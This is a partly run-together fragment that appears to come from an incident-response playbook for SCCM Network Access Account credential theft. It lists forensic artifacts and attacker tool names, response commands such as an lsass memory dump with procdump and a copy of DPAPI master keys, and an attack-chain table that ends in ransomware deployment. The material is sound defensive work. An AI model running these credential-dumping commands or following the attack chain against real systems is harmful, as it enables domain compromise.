C:\Windows\System32\wbem\Repository\OBJECTS.DATA (modified timestamp after suspected compromise; contains DPAPI-encrypted NAA blobs)C:\Windows\CCM\Logs\PolicyAgent.log (logs policy requests; check for unusual policy downloads)C:\ProgramData\Microsoft\Crypto\Keys\* (DPAPI master keys; check for export/copy operations)C:\Temp\SharpDPAPI.exe, C:\Temp\SharpSCCM.exe, C:\Temp\CMLoot.exe (common drop locations)C:\Users\*\AppData\Local\Temp\* (temporary files from tool execution)HKLM\SOFTWARE\Microsoft\SMS\Client\Configuration Manager (SCCM client config; check Management Point and Site Code)HKLM\SYSTEM\CurrentControlSet\Services\ccmexec (SCCM service state; check for disablement)HKCU\Software\Microsoft\Credentials (Windows credential manager; check for cached NAA/task sequence passwords)C:\Windows\System32\wbem\Repository\OBJECTS.DATA (binary file; contains all WMI objects including NAA credentials)lsass::dump)Disable-NetAdapter -Name "Ethernet" -Confirm:$false
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
procdump64.exe -ma powershell.exe C:\Evidence\powershell.dmp
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Copy WMI repository
Copy-Item "C:\Windows\System32\wbem\Repository\OBJECTS.DATA" -Destination "C:\Evidence\OBJECTS.DATA"
# Copy DPAPI keys
Copy-Item "C:\Windows\System32\Microsoft\Protect\S-1-5-18" -Destination "C:\Evidence\DPAPIKeys" -Recurse
Stop-Process -Name "SharpDPAPI" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "SharpSCCM" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "Mimikatz" -Force -ErrorAction SilentlyContinue
Set-ADAccountPassword -Identity “CONTOSO\sccm-naa” -NewPassword (ConvertTo-SecureString -AsPlainText “NewComplexPass!2024” -Force)
Invoke-WmiMethod -Path “root\ccm:SMS_Client” -Name “TriggerSchedule” -ArgumentList “{00000000-0000-0000-0000-000000000121}” # Policy Evaluation schedule
- Disable compromised NAA and service accounts (if confirmed):
```powershell
Disable-ADAccount -Identity "CONTOSO\sccm-naa"
-- Remove unauthorized applications from SCCM
DELETE FROM dbo.v_Applications WHERE AppName LIKE '%Malware%' OR AppName LIKE '%Payload%'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial foothold via exploited SCCM Application Proxy or public-facing SCCM management point |
| 2 | Credential Access | [CA-DUMP-008] | Attacker extracts NAA credentials from WMI/DPAPI on compromised SCCM client |
| 3 | Privilege Escalation | [PE-VALID-008] SCCM Client Push Account Abuse | Attacker uses extracted NAA or task sequence creds to become T1/T0 admin via SCCM role assignment or domain admin group add |
| 4 | Persistence | [PERSIST-ACCT-006] Service Principal Certificate Persistence | Attacker creates SCCM admin backdoor account with persistent certificate-based authentication |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash (PTH) | Attacker uses extracted admin password hash for lateral movement across domain (alternative: Kerberos pass-the-ticket) |
| 6 | Credential Access (T0) | [CA-DUMP-006] NTDS.dit Extraction (This technique) | Attacker gains domain controller access and extracts NTDS.dit for full domain compromise |
| 7 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Attacker deploys ransomware via SCCM to all managed endpoints for maximum impact |
root\ccm\policy\machine\actualconfigC:\Windows\System32\Microsoft\Protect\S-1-5-18\User